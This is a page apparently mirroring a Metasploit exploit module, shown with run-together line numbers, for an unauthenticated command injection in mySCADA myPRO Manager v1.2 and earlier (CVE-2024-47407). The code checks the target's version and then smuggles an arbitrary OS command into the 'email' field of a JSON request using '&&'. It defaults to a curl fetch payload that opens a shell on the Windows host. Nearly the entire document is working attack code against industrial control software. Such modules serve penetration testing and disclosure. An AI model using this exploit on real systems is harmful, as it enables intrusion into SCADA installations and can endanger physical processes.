Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/exploits/windows/scada/mypro_mgr_cmd.rb
Views: 15996
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::HttpClient3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',10'Description' => %q{11Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.12The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.13},14'License' => MSF_LICENSE,15'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module16'References' => [17[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],18[ 'CVE', '2024-47407']19],20'DisclosureDate' => '2024-11-21',21'DefaultOptions' => {22'RPORT' => 34022,23'SSL' => 'False'24},25'Platform' => 'win',26'Arch' => [ ARCH_CMD ],27'Targets' => [28[29'Windows_Fetch',30{31'Arch' => [ ARCH_CMD ],32'Platform' => 'win',33'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },34'Type' => :win_fetch35}36]37],38'DefaultTarget' => 0,3940'Notes' => {41'Stability' => [CRASH_SAFE],42'Reliability' => [REPEATABLE_SESSION],43'SideEffects' => [IOC_IN_LOGS]44}45)46)4748register_options(49[50OptString.new(51'TARGETURI',52[ true, 'The URI for the MyPRO Manager web interface', '/' ]53)54]55)56end5758def check59begin60res = send_request_cgi({61'method' => 'GET',62'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')63})64rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError65return CheckCode::Unknown66end6768if res.to_s =~ /const v="([^"]+)"/69version = ::Regexp.last_match(1)70vprint_status('Version retrieved: ' + version)71if Rex::Version.new(version) <= Rex::Version.new('1.2')72return CheckCode::Appears73end7475return CheckCode::Safe76end77return CheckCode::Unknown78end7980def exploit81execute_command(payload.encoded)82end8384def execute_command(cmd)85exec_mypro_mgr(cmd)86print_status('Exploit finished, check thy shell.')87end8889def exec_mypro_mgr(cmd)90post_data = {91'command' => 'testEmail',92'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"93}9495res = send_request_cgi({96'method' => 'POST',97'ctype' => 'application/json',98'data' => JSON.generate(post_data),99'uri' => normalize_uri(target_uri.path, 'get')100})101102if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.103print_good('Command successfully executed, check your shell.')104else105print_error('Unexpected or no reply received.')106end107end108109end110111112